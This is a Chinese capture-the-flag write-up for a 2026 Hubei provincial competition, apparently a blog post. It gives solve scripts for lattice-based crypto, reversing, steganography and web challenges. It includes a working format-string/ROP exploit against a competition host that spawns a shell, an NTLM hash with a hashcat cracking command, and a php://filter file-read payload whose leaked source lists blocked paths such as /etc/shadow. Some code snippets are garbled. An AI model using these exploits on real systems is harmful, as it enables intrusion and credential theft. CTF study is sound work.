2026第十届“楚慧杯”湖北省网络与数据安全实践能力竞赛初赛wp
本文最后更新于4 天前,其中的信息可能已经过时,如有错误请发送邮件到1416359402@qq.com

前言

第一次参加湖北省的省赛 记录一下吧

比赛时间:2026-03-10 13:30:00~2026-03-10 17:30:00

解题情况

好像剩20分钟 放题 只能说无语了
这么短的时间解... 
吐槽一下 还有为什么Pwn只有一道题目 逆向只有两道题目 而且不难 正常不应该都是均分吗? Misc 5道题目....   里面的内幕我们不知道
而且前面都是封号 后面直接警告了 这是为什么? 咳咳咳 就当我没有说啦!

前面全是全解的 呃呃呃呃呃 都是湖北的 还有 提交{} 里面的内容 呃呃呃呃 好吧就怪我没有看到吧解出来提交了好几次 咳咳咳

签到题

【填空题1】

在人工智能和机器学习领域,对抗样本是指在原始数据(如图像、文本或音频)中,通过人为故意添加细微的、通常是肉眼难以察觉的扰动(噪声),从而导致智能算法(如深度神经网络)产生错误分类或预测结果的样本。这类技术常用于评估模型的鲁棒性或进行安全攻击测试。
对抗样本

【填空题2】

完整的标准名称为:ISO/SAE 21434 《道路车辆—网络安全工程》(Road vehicles — Cybersecurity engineering)。
21434

【填空题3】

完整的句子为:物联网设备的密钥管理是安全防护的关键环节……
密钥

Crypto

Flip

题目为 ElGamal/DSA 签名变体。在生成签名所需的随机数 k 时,调用了 flip(256)。该函数每次生成的 32 字节中,每个字节的前 5 个比特被固定为 10101(即十进制 168),仅后 3 个比特是随机的。这是一个典型的隐藏数问题(HNP)。通过已知的高位特征,联立 5 组签名方程消除私钥 d,我们可以构造一个维度为 165 的矩阵,利用 LLL 算法进行格基规约,即可求出被隐藏的低位随机数,还原 k_0 并解出私钥(flag)。

exp.py

from Crypto.Util.number import long_to_bytes, inverse
from sage.all import *

p = 71100374110712069688668891376502810245640088780564855438789152163485489371751
sigs = [
    (28285613871231310640779639473901158789539111552315215487796222768188014946190, 26227626146853365468070394748025813676883717455365705026242089396817666141149), 
    (26126343100952318312992351606027346470307966676167073519850533997742307763173, 14620119507969980035515863104967829444815591632534197769232561325577348982289), 
    (6275780641102104914321094704687354889900656957520025439748906503860424049255, 17138154832682193571532283943639841813795519294633367500729430287205754722383), 
    (70074830218018060401156682458161679247596227822712273801560023880579237944207, 7241759400261146571231207923652617524886465143836459562831120970876560955603), 
    (58010164614616186321967235608825740148005793483553468415042960153988671899689, 11042506367122208018546854524444698969622593890076172637272391555458027253012)
]

K_base = sum(168 * (2**(8*j)) for j in range(32))
S = sum(3 * (2**(8*j)) for j in range(32))

A, B = [], []
for i in range(5):
    r, s = sigs[i]
    s_inv = inverse_mod(s, p)
    A.append((s_inv * r) % p)
    B.append((i * s_inv) % p)

A0_inv = inverse_mod(A[0], p)
C, D, E, F = [], [], [], []
for i in range(5):
    C.append((A[i] * A0_inv) % p)
    D.append((B[i] - C[i] * B[0]) % p)
    E.append((D[i] - K_base + C[i] * K_base) % p)
    F.append((E[i] - S + C[i] * S) % p)

N = 165
M = Matrix(ZZ, N, N)
K_weight = 2**256  

for i in range(5):
    for j in range(32):
        r_idx = i * 32 + j
        M[r_idx, r_idx] = 1
        if i == 0:
            for eq in range(1, 5):
                val = (-C[eq] * (2**(8*j))) % p
                M[r_idx, 160 + eq - 1] = val * K_weight
        else:
            eq = i
            val = (2**(8*j)) % p
            M[r_idx, 160 + eq - 1] = val * K_weight

for eq in range(1, 5):
    M[160 + eq - 1, 160 + eq - 1] = p * K_weight

M[164, 164] = 1
for eq in range(1, 5):
    val = (-F[eq]) % p
    M[164, 160 + eq - 1] = val * K_weight

L = M.LLL()

for row in L:
    if abs(row[164]) == 1:
        if all(row[160+eq-1] == 0 for eq in range(1, 5)):
            if row[164] == -1:
                row = -row

            k0 = K_base
            for j in range(32):
                y_0j = row[j]
                x_0j = y_0j + 3
                k0 += x_0j * (2**(8*j))

            r0, s0 = sigs[0]
            d = ((s0 * k0) * inverse_mod(r0, p)) % p
            d_bytes = long_to_bytes(d)

            flag_inner = b""
            for b in d_bytes:
                if 32 <= b <= 126:
                    flag_inner += bytes([b])
                else:
                    break

            print("DASCTF{" + flag_inner.decode() + "}")
            break

只需要明文就行

Just_f3w_Bit5_fl1pp1ng

GCD,杠上了

考点

多项式近似最大公约数 (ACD)

LLL 格规约算法

原理
$$
分析根据加密脚本,已知生成逻辑为 x_i = p cdot q_i + e_i。
$$

$$
已知 p 的长度为 768 bits,误差 e_i 长度约为 256 bits。由于 e_i 远小于 x_i,这是一道典型的近似最大公约数(ACD)问题。
$$

$$
通过交叉相乘消除 p、,可得 q_0 x_i – q_i x_0 = q_0 e_i – q_i e_0。
构造如下正交格矩阵 M,以权重 2^{256} 对齐数据量级:
$$

$$
M = begin{pmatrix} 2^{256} & x_1 & x_2 & x_3 0 & -x_0 & 0 & 0 0 & 0 & -x_0 & 0 0 & 0 & 0 & -x_0 end{pmatrix}
$$

对矩阵进行 LLL 规约后,在最短向量中提取出
$$
q_0,利用 x_0 = p cdot q_0 + e_0 反求出 p
$$
最后按照题目要求拼接 SHA256 即可得到 flag。

exp.py

import hashlib

x0 = 7286602644894347905698877185006886062766603336098651145708618257426896498601438194818405176376998357154846239925108795918211744886731571266744871908463835351995189784312085830285088365342080806811314047882453402592133074499069282870744236160215512216478789267594028132748508140080189837224089073913522991827904722259140858601642592466315776021315586438508197663608590812749450817365064347439560883042009204050351693713820588889060849655679914847278675752145553961823946981967169055185529737402521407509263021789077125016742255715760
x1 = 5230952259217719373451288600605694729007492237169927997823214951918450708970497355235418799314073627589124050832789070592194142892137496197782948844507440729494129127326826986001351848921996887252514377638280576136864865587600778883326741625167048874313825133026683820914940523608112111525189712638841735445342804486682657815023936771511350194415118747576763915047759919721983363867337811246200882629774305946208917774071048260034384488337583881876926649372038650806406479863141932268756290007122767070707541568217633666823942767630
x2 = 6634396750920568285608095346195329118689097605994669634518316951192506731923068736273476052320642960726963932454848348066913054010051606781532862880707753022193473836326795829631429615685808176184842533562632931011621810840291571855376807721443083529317792844472049240727433533493468591987710033174905312247446273166915934371589745530975428330655972863314230695429710915699801228301493075605786710443768747383021956670013493099376120239576125225920151034511467122583704756994064073049424978126007943448882667862038745782477628408003
x3 = 5206967518961960112660221968771713864784691153181370679825018817838185859421615186098940654940704354246503769468859488659689494119991783464734247926184421441233523723102514720513272413216800777125028472595562428391474002300021110853098159434700293331046532929525141162455736314162160456306022511785772125837018470201639642987557826155895644564724745314165471429499074795110110906392223770428469036209454246746770408469494816865235942622698472278595153047673886819995225231883995391098290313071949911543891398398297286813045525879691

K = 2**256
M = matrix(ZZ, [
    [K, x1, x2, x3],
    [0, -x0, 0, 0],
    [0, 0, -x0, 0],
    [0, 0, 0, -x0]
])

reduced_basis = M.LLL()

for row in reduced_basis:
    if row[0] != 0 and row[0] % K == 0:
        q0 = abs(row[0]) // K
        p_candidate = (x0 + q0 // 2) // q0

        if p_candidate.nbits() == 768:
            p = int(p_candidate)
            flag_hash = hashlib.sha256(hex(p).encode()).hexdigest()[:32]
            print(f"DASCTF{{{flag_hash}}}")
            break

没有格式

答案是这个

eead8ea2b3519a2273a5292375e31009

Pwn

house_1

附件内容

nc

考点

格式化字符串漏洞(任意读、任意写)
栈溢出漏洞 
Canary 与 PIE 保护绕过 
篡改全局变量扩大读取长度

信息泄露

利用选项 2 (`sub_135E`) 存在的格式化字符串漏洞 `printf(buf)` ,直接打印出栈上的 Canary、PIE 基址(用于计算程序基址)以及 libc 内部地址(用于计算 libc 基址)。

篡改全局变量:
再次调用选项 2,利用格式化字符串的任意写功能(如 `%hn`),将控制选项 3 读取长度的全局变量 `nbytes`  从默认的 `0x20` 改写为一个较大的值(如 `0x200`)

ROP 劫持:
调用选项 3 (`sub_12E5`),此时 `read` 函数允许读入的数据长度已远超局部变量 `buf` 的大小 (`0x50` 字节) 。向其中写入 padding、泄露出的 Canary 原值 ,并在返回地址处布置 ROP 链,最终执行 `system("/bin/sh")`

exp.py

from pwn import *

exe = ELF("./pwn")
libc = ELF("./libc.so.6")
context.binary = exe

def conn():
    return remote("45.40.247.139", 17730)

def main():
    r = conn()

    def change_name(name):
        r.sendlineafter(b">> ", b"2")
        r.sendafter(b"Please write your name:n", name)
        r.recvuntil(b"the name is:n")
        return r.recvline()

    def edit_house(content):
        r.sendlineafter(b">> ", b"3")
        r.sendafter(b"Please write your contentn", content)

    leak = change_name(b"%13$p|%15$p|%21$p|")
    leaks = leak.strip().split(b"|")

    canary = int(leaks[0], 16)
    pie_leak = int(leaks[1], 16)
    libc_leak = int(leaks[2], 16)

    exe.address = pie_leak - 0x147C
    libc.address = libc_leak - (libc.sym['__libc_start_main'] + 243)

    nbytes_addr = exe.address + 0x4010

    payload = b"%512c%8$hn".ljust(16, b'a') + p64(nbytes_addr)
    change_name(payload)

    rop = ROP(libc)
    rop.raw(rop.ret)
    rop.system(next(libc.search(b"/bin/shx00")))

    exploit = b"A" * 72
    exploit += p64(canary)
    exploit += b"B" * 8 
    exploit += rop.chain()

    edit_house(exploit)
    r.interactive()

if __name__ == "__main__":
    main()
COngratu1at1ons_ON_Get1ing_The_R1ght_HOUse

REVERSE

眼见为虚_1

附件

通过IDA定位到主函数 sub_401522 接收输入,最后在 sub_402B68 进行密文比对。中间的加密过程主要由以下几个函数构成:

sub_402A18(密钥流生成):内部是一个魔改的TEA算法(带有特殊的减法)。但它不加密用户的输入,而是对内置的两个常量进行32轮运算,生成一个固定的8字节密钥流(KeyStream)。

sub_402D4C(障眼法):伪代码显示对输入的每个字符 + 22。这是题目给的假分支,动态运行中被绕过或未实际生效。

sub_402AFC(真实加密):将输入与前面生成的8字节密钥流进行循环异或。异或的条件是密钥流的每个字节先 + 27。

程序主逻辑在 sub_401522,最终比对函数为 sub_402B68。
在 sub_402B68 中,用户输入被处理为 40 字节大小,并与内部数组 v2 逐字节比较。v2 数组的 10 个 _DWORD 常量就是真实密文。IDA中显示有负数,转为无符号 32 位整数并按小端序拼接后,提取到真实密文Hex:
3356E8016F84E4A343738E265EF0FDA11575882008A4A6A5157588235DF0FAF04171DE7509A1F9E8

解密思路

真实的加密逻辑仅为 sub_402AFC 函数中的滚动异或:cipher[i] = flag[i] ^ (KeyStream[i % 8] + 27)。
提取密文:直接从 sub_402B68 提取 v2 数组的10个32位整数,按小端序转换提取出 40 字节密文。
提取真实密钥流:通过动调 sub_402AFC,从内存中Dump出真实运行时的8字节密钥流 5CFCA02720A7847A。
还原:密文与真实密钥流(每字节加27后)按位异或。

exp.py

import struct

def main():
    v2 = [
        32003635, -1545304977, 646869827, -1577193378,
        545813781, -1515805688, 596145429, -251989923,
        1977512257, -386293495
    ]

    cipher = b""
    for x in v2:
        cipher += struct.pack("<I", x & 0xFFFFFFFF)

    keystream = bytes.fromhex("5CFCA02720A7847A")

    flag = bytearray()
    for i in range(len(cipher)):
        c = cipher[i]
        k = (keystream[i % 8] + 27) & 0xFF
        flag.append(c ^ k)

    print(flag.decode('utf-8'))

if __name__ == '__main__':
    main()
64d5de2b4bb3b3f90bb3af2ee6fe72cf

eazy_code-new

题目给出的是一段高度混淆的 PowerShell 脚本,利用变量自增和字符索引构建核心逻辑 。通过分析其变量定义规律, ${!;*} 等价于 1${]} 等价于 0 。该脚本最终通过 IEX 执行一段由 ASCII 码拼接成的 Python 代码 。

PowerShell 还原脚本:

`}':3,'${ ]}':4,'${!}':5,'${#.}':6,'${(}':7,'${)``}':8,'${``*%}':9} d = re.search(r'${@*} = "(.*?)"', c, re.S).group(1) for s, v in m.items(): d = d.replace(s, str(v)) print("".join([chr(int(b.replace('${$%}',''))) for b in d.split('+') if b])) p_de('1.txt')
class chiper():
    def __init__(self):
        self.d = 0x87654321
        k0 = 0x67452301
        k1 = 0xefcdab89
        k2 = 0x98badcfe
        k3 = 0x10325476
        self.k = [k0, k1, k2, k3]

    def e(self, n, v):
        from ctypes import c_uint32

        def MX(z, y, total, key, p, e):
            temp1 = (z.value >> 6 ^ y.value << 4) + 
                (y.value >> 2 ^ z.value << 5)
            temp2 = (total.value ^ y.value) + 
                (key[(p & 3) ^ e.value] ^ z.value)
            return c_uint32(temp1 ^ temp2)
        key = self.k
        delta = self.d
        rounds = 6 + 52//n
        total = c_uint32(0)
        z = c_uint32(v[n-1])
        e = c_uint32(0)

        while rounds > 0:
            total.value += delta
            e.value = (total.value >> 2) & 3
            for p in range(n-1):
                y = c_uint32(v[p+1])
                v[p] = c_uint32(v[p] + MX(z, y, total, key, p, e).value).value
                z.value = v[p]
            y = c_uint32(v[0])
            v[n-1] = c_uint32(v[n-1] + MX(z, y, total,
                              key, n-1, e).value).value
            z.value = v[n-1]
            rounds -= 1
        return v

    def bytes2ints(self,cs:bytes)->list:
        new_length=len(cs)+(8-len(cs)%8)%8
        barray=cs.ljust(new_length,b'x00')
        i=0
        v=[]
        while i < new_length:
            v0 = int.from_bytes(barray[i:i+4], 'little')
            v1 = int.from_bytes(barray[i+4:i+8], 'little')
            v.append(v0)
            v.append(v1)
            i += 8
        return v

def check(instr:str,checklist:list)->int:
    length=len(instr)
    if length%8:
        print("Incorrect format.")
        exit(1)
    c=chiper()
    v = c.bytes2ints(instr.encode())
    output=list(c.e(len(v),v))
    i=0
    while(i<len(checklist)):
        if i<len(output) and output[i]==checklist[i]:
            i+=1
        else:
            break
    if i==len(checklist):
        return 1
    return 0

if __name__=="__main__":
    ans=[1374278842, 2136006540, 4191056815, 3248881376]
    # generateRes()
    flag=input('Please input flag:')
    res=check(flag,ans)
    if res:
        print("Congratulations, you've got the flag!")
        print("Flag is DASCTF{your_input}!")
        exit(0)
    else:
        print('Nope,try again!')

算法分析

还原后的代码是一个魔改后的 XXTEA 算法 :

Delta: 0x87654321
Key: [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476]
Ciphertext: [1374278842, 2136006540, 4191056815, 3248881376]

编写逆向解密脚本,将 total 从最大值递减,并反向处理数组元素 。

exp.py

from ctypes import c_uint32

def decrypt():
    v = [1374278842, 2136006540, 4191056815, 3248881376]
    k = [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476]
    delta = 0x87654321
    n = len(v)
    rounds = 6 + 52 // n
    total = c_uint32(rounds * delta)

    def MX(z, y, total, k, p, e):
        t1 = (z >> 6 ^ y << 4) + (y >> 2 ^ z << 5)
        t2 = (total ^ y) + (k[(p & 3) ^ e] ^ z)
        return (t1 ^ t2) & 0xffffffff

    while total.value != 0:
        e = (total.value >> 2) & 3
        y = v[0]
        for p in range(n - 1, 0, -1):
            z = v[p - 1]
            v[p] = (v[p] - MX(z, y, total.value, k, p, e)) & 0xffffffff
            y = v[p]
        z = v[n - 1]
        v[0] = (v[0] - MX(z, y, total.value, k, 0, e)) & 0xffffffff
        y = v[0]
        total.value -= delta

    flag = b"".join([i.to_bytes(4, 'little') for i in v])
    print(flag.decode().strip('x00'))

if __name__ == "__main__":
    decrypt()
yOUar3g0oD@tPw5H

Misc

Time_and_chaos_1

flag.txt 零宽解出 最后的flag

_time_fly}

本题属于多源隐写拼接题,完整的 flag 被拆分到了两条独立的逻辑链路上。必须同时打通“图像多帧降噪”与“文本零宽字符解码”,才能将两段载荷拼接出最终的 flag。

LSB可以发现右上角的字符串 消除噪点就行了

提取附件中的 1.png 到 8.png。
这 8 张图片是带有独立随机噪声的同底图,利用统计学特性,将它们在 Numpy 中逐像素取均值,即可大幅抵消噪点。
将降噪后的均值图像进行反相(Invert)处理。
查看生成的图像右上角,可以直接读取出前半段字符串:DASCTF{Logistic_and。

exp.py

import numpy as np
from PIL import Image, ImageOps

def decode_image_chain():
    image_paths = [f"{i}.png" for i in range(1, 9)]
    images = [np.array(Image.open(path)) for path in image_paths]
    avg_img_array = np.mean(images, axis=0).astype(np.uint8)
    avg_img = Image.fromarray(avg_img_array)

    if avg_img.mode == 'RGBA':
        r, g, b, a = avg_img.split()
        rgb_img = Image.merge('RGB', (r, g, b))
        inverted_img = ImageOps.invert(rgb_img)
        final_img = Image.merge('RGBA', (*inverted_img.split(), a))
    else:
        final_img = ImageOps.invert(avg_img)

    final_img.save("recovered_first_half.png")

if __name__ == "__main__":
    decode_image_chain()

拼接就行

Logistic_and_time_fly

game_go_1

一个游戏 安装 可以看到游戏内容

flag只能在数据里面 data里面

Weapons.rvdata2 可以发现第一段flag

strings Data/*.rvdata2 | grep -E "[0-9a-f]{8}-"
strings也可以 跑出的前半段 1168cb17-31ff-43b7-
DASCTF{1168cb17-31ff-43b7-

另一个flag在Scripts.rvdata2文件。该文件是 Ruby Marshal 序列化后的脚本数组,包含脚本 ID、名称及经过 zlib 压缩的源码。

定位目标: 文件末尾存在一个名为 flag 的自定义脚本。

在 RPG Maker VX Ace 中,出题人自定义的逻辑通常写在 Scripts.rvdata2 中。这个文件是一个被 Ruby Marshal 序列化过的数组,数组的第三个元素存放着被 Zlib 压缩过的 Ruby 源代码。我们需要提取并解压这些 Zlib 数据块。

厨子也行

exp.py

import zlib
import re

def solve():
    with open("Scripts.rvdata2", "rb") as f:
        data = f.read()

    for match in re.finditer(b'x78x9c', data):
        try:
            do = zlib.decompressobj()
            dec = do.decompress(data[match.start():])
            text = dec.decode('utf-8', errors='ignore')
            if "-" in text and "}" in text:
                print(text.strip())
        except:
            pass

if __name__ == "__main__":
    solve()
-b586-8414d383afce}
DASCTF{1168cb17-31ff-43b7-b586-8414d383afce}
提交1168cb17-31ff-43b7-b586-8414d383afce 就行

SAM_and_Steg

比赛最后才解出 然后时间结束了 没有提交上去

题目提供了两个 Windows 注册表配置单元文件:samsystem。整体分为四步:Hash破解 -> 寻找隐藏线索 -> 图像隐写提取 -> OpenSSL解密。

利用 samsystem 文件提取系统用户的 NTLM Hash,并进行字典破解获取第一层密码。

Administrator:500:aad3b435b51404eeaad3b435b51404ee:476b4dddbbffde29e739b618580adb1e:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

得到 Administrator 用户的 NT-Hash:476b4dddbbffde29e739b618580adb1e

破解 Hash: Hashcat 用 rockyou 字典进行破解。

CMD5也行但是要 钱

命令

hashcat -m 1000 476b4dddbbffde29e739b618580adb1e /usr/share/wordlists/rockyou.txt

文件分离与提示

使用 binwalk 分离体积较大的 system 文件,发现其尾部捆绑了一张图片jpg。

foremost 提取就行

SAM 文件尾部:里面有密码

SilentEye 隐写提取

提取出 的 jpg 图片进行 SilentEye 隐写提取 可以得到 加密的文件 应该就是flag

利用图片提示的 OpenSSL 环境和第二步发现的密码,对 AES256 密文进行解密。

指定 aes-256-cbc 算法,利用 -md sha256 参数和提取到的密钥 p@s4w0rd 解密文件,并输出为压缩包格式。

openssl enc -d -aes-256-cbc -md sha256 -k p@s4w0rd -in AES256 -out flag.tar.gz
tar -zxvf flag.tar.gz #解压就行
aa28f51d-0f54-4286-af3c-86a14fbab4a4

Web

拯救芙莉莲

信息收集

看了下源码没有任何发现对目录进行了扫描

http://45.40.247.139:28837/robots.txt

跟进
php伪协议

http://45.40.247.139:28837/%EF%BC%9C(%C2%B4%E2%8C%AF%20%CC%AB%E2%8C%AF%60)%EF%BC%
9E.php

看样子应该要用到php伪协议

?file=php://filter/convert.base64-encode/resource=/flag.php

尝试了很多一直出问题估计是思路错了最后尝试读取页面返回的

?file=php://filter/convert.base64-encode/resource=/var/www/html/<(´⌯ ̫⌯`)>.php
PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJ6aC1DTiI+DQo8aGVhZD4NCiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+DQogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAsIG1heGltdW0tc2NhbGU9MS4wLCB1c2VyLXNjYWxhYmxlPTAiPg0KICAgIDx0aXRsZT7lrp3nrrHmnLrlhbM8L3RpdGxlPg0KICAgIDxzdHlsZT4NCiAgICAgICAgKiB7DQogICAgICAgICAgICBtYXJnaW46IDA7DQogICAgICAgICAgICBwYWRkaW5nOiAwOw0KICAgICAgICAgICAgYm94LXNpemluZzogYm9yZGVyLWJveDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgYm9keSB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCAjMmMxODEwIDAlLCAjMWEwZjBhIDEwMCUpOw0KICAgICAgICAgICAgZm9udC1mYW1pbHk6ICdDb3VyaWVyIE5ldycsIG1vbm9zcGFjZTsNCiAgICAgICAgICAgIGNvbG9yOiAjZTRlNGU0Ow0KICAgICAgICAgICAgbWluLWhlaWdodDogMTAwdmg7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsNCiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgICAgICAgICBwYWRkaW5nOiAyMHB4Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuY29udGFpbmVyIHsNCiAgICAgICAgICAgIG1heC13aWR0aDogOTAwcHg7DQogICAgICAgICAgICB3aWR0aDogMTAwJTsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgaDEgew0KICAgICAgICAgICAgZm9udC1zaXplOiAyLjVlbTsNCiAgICAgICAgICAgIGNvbG9yOiAjZmY2YjZiOw0KICAgICAgICAgICAgdGV4dC1zaGFkb3c6IDJweCAycHggNHB4IHJnYmEoMCwgMCwgMCwgMC44KTsNCiAgICAgICAgICAgIG1hcmdpbjogMzBweCAwOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuaW1hZ2UtY29udGFpbmVyIHsNCiAgICAgICAgICAgIG1hcmdpbjogMzBweCAwOw0KICAgICAgICAgICAgYm9yZGVyOiAzcHggc29saWQgIzhiNDUxMzsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDEwcHg7DQogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOw0KICAgICAgICAgICAgYm94LXNoYWRvdzogMCAwIDMwcHggcmdiYSgyNTUsIDEwNywgMTA3LCAwLjMpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuaW1hZ2UtcGxhY2Vob2xkZXIgew0KICAgICAgICAgICAgd2lkdGg6IDEwMCU7DQogICAgICAgICAgICBoZWlnaHQ6IDQwMHB4Ow0KICAgICAgICAgICAgYmFja2dyb3VuZDogIzFhMWExYTsNCiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7DQogICAgICAgICAgICBjb2xvcjogIzY2NjsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4yZW07DQogICAgICAgICAgICBmb250LXN0eWxlOiBpdGFsaWM7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5lcnJvci1ib3ggew0KICAgICAgICAgICAgYmFja2dyb3VuZDogcmdiYSgxMzksIDAsIDAsIDAuNCk7DQogICAgICAgICAgICBib3JkZXI6IDJweCBzb2xpZCAjZmY0NDQ0Ow0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMTBweDsNCiAgICAgICAgICAgIHBhZGRpbmc6IDI1cHg7DQogICAgICAgICAgICBtYXJnaW46IDMwcHggMDsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGxlZnQ7DQogICAgICAgICAgICBib3gtc2hhZG93OiAwIDAgMjBweCByZ2JhKDI1NSwgNjgsIDY4LCAwLjMpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuZXJyb3ItYm94IGgyIHsNCiAgICAgICAgICAgIGNvbG9yOiAjZmY2YjZiOw0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTVweDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMS44ZW07DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5lcnJvci1ib3ggcHJlIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwMDA7DQogICAgICAgICAgICBjb2xvcjogIzBmMDsNCiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7DQogICAgICAgICAgICBvdmVyZmxvdy14OiBhdXRvOw0KICAgICAgICAgICAgZm9udC1zaXplOiAwLjllbTsNCiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjU7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5iZyB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDI1NSwgMjE1LCAwLCAwLjEpOw0KICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IDVweCBzb2xpZCAjZmZkNzAwOw0KICAgICAgICAgICAgcGFkZGluZzogMTVweDsNCiAgICAgICAgICAgIG1hcmdpbjogMjBweCAwOw0KICAgICAgICAgICAgdGV4dC1hbGlnbjogbGVmdDsNCiAgICAgICAgICAgIGNvbG9yOiAjZmZkNzAwOw0KICAgICAgICB9DQogICAgPC9zdHlsZT4NCiAgICA8c2NyaXB0Pg0KICAgICAgICAoZnVuY3Rpb24oKXsNCiAgICAgICAgICAgIGZ1bmN0aW9uIHNldFpvb20xMDAoKXsNCiAgICAgICAgICAgICAgICB0cnl7DQogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5zdHlsZS56b29tID0gJzEwMCUnOw0KICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5ib2R5LnN0eWxlLnpvb20gPSAnMTAwJSc7DQogICAgICAgICAgICAgICAgfWNhdGNoKGUpew0KICAgICAgICAgICAgICAgICAgICB2YXIgdnAgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCdtZXRhW25hbWU9InZpZXdwb3J0Il0nKTsNCiAgICAgICAgICAgICAgICAgICAgaWYodnApIHZwLnNldEF0dHJpYnV0ZSgnY29udGVudCcsJ3dpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAnKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZihkb2N1bWVudC5yZWFkeVN0YXRlID09PSAnY29tcGxldGUnIHx8IGRvY3VtZW50LnJlYWR5U3RhdGUgPT09ICdpbnRlcmFjdGl2ZScpew0KICAgICAgICAgICAgICAgIHNldFpvb20xMDAoKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoJ2xvYWQnLCBzZXRab29tMTAwLCBmYWxzZSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0pKCk7DQogICAgPC9zY3JpcHQ+DQo8L2hlYWQ+DQo8Ym9keT4NCiAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPg0KICAgICAgICA8aDE+4pqg77iPIOWuneeuseacuuWFs+W3suinpuWPkSDimqDvuI88L2gxPg0KICAgICAgICANCiAgICAgICAgPGRpdiBjbGFzcz0iaW1hZ2UtY29udGFpbmVyIj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImltYWdlLXBsYWNlaG9sZGVyIj4NCiAgICAgICAgICAgICAgICA8aW1nIHNyYz0ic3RhdGljL21pbWljLnBuZyIgYWx0PSJGbGlsaWVuIGluIGNoZXN0IiBzdHlsZT0ibWF4LXdpZHRoOjEwMCU7IGhlaWdodDphdXRvOyBkaXNwbGF5OmJsb2NrOyIgLz4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICAgICAgDQogICAgICAgIDw/cGhwDQogICAgICAgIGlmICghZGVmaW5lZCgnSU5DTFVERURfT05DRScpKSB7DQogICAgICAgICAgICBkZWZpbmUoJ0lOQ0xVREVEX09OQ0UnLCB0cnVlKTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsNCiAgICAgICAgICAgIGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMSk7DQogICAgICAgICAgICANCiAgICAgICAgICAgICRmaWxlID0gJF9HRVRbJ2ZpbGUnXTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJGJsYWNrbGlzdCA9IGFycmF5KA0KICAgICAgICAgICAgICAgICdmbGFnJywNCiAgICAgICAgICAgICAgICAncGhwOi8vaW5wdXQnLA0KICAgICAgICAgICAgICAgICdkYXRhOi8vJywNCiAgICAgICAgICAgICAgICAnZXhwZWN0Oi8vJywNCiAgICAgICAgICAgICAgICAnZmlsZTovLycsDQogICAgICAgICAgICAgICAgJ2dsb2I6Ly8nLA0KICAgICAgICAgICAgICAgICdwaGFyOi8vJywNCiAgICAgICAgICAgICAgICAnL2V0Yy9wYXNzd2QnLA0KICAgICAgICAgICAgICAgICcvZXRjL3NoYWRvdycsDQogICAgICAgICAgICAgICAgJ3dpbi5pbmknLA0KICAgICAgICAgICAgICAgICcuLi8nLA0KICAgICAgICAgICAgICAgICcuLlxcJywNCiAgICAgICAgICAgICk7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGZvcmVhY2ggKCRibGFja2xpc3QgYXMgJGJhZCkgew0KICAgICAgICAgICAgICAgIGlmIChzdHJpcG9zKCRmaWxlLCAkYmFkKSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICAgICAgZGllKCc8ZGl2IGNsYXNzPSJlcnJvci1ib3giPjxoMj7inYwg6a2U5rOV5bGP6Zqc6Zi75q2i5LqG5L2g55qE5bCd6K+V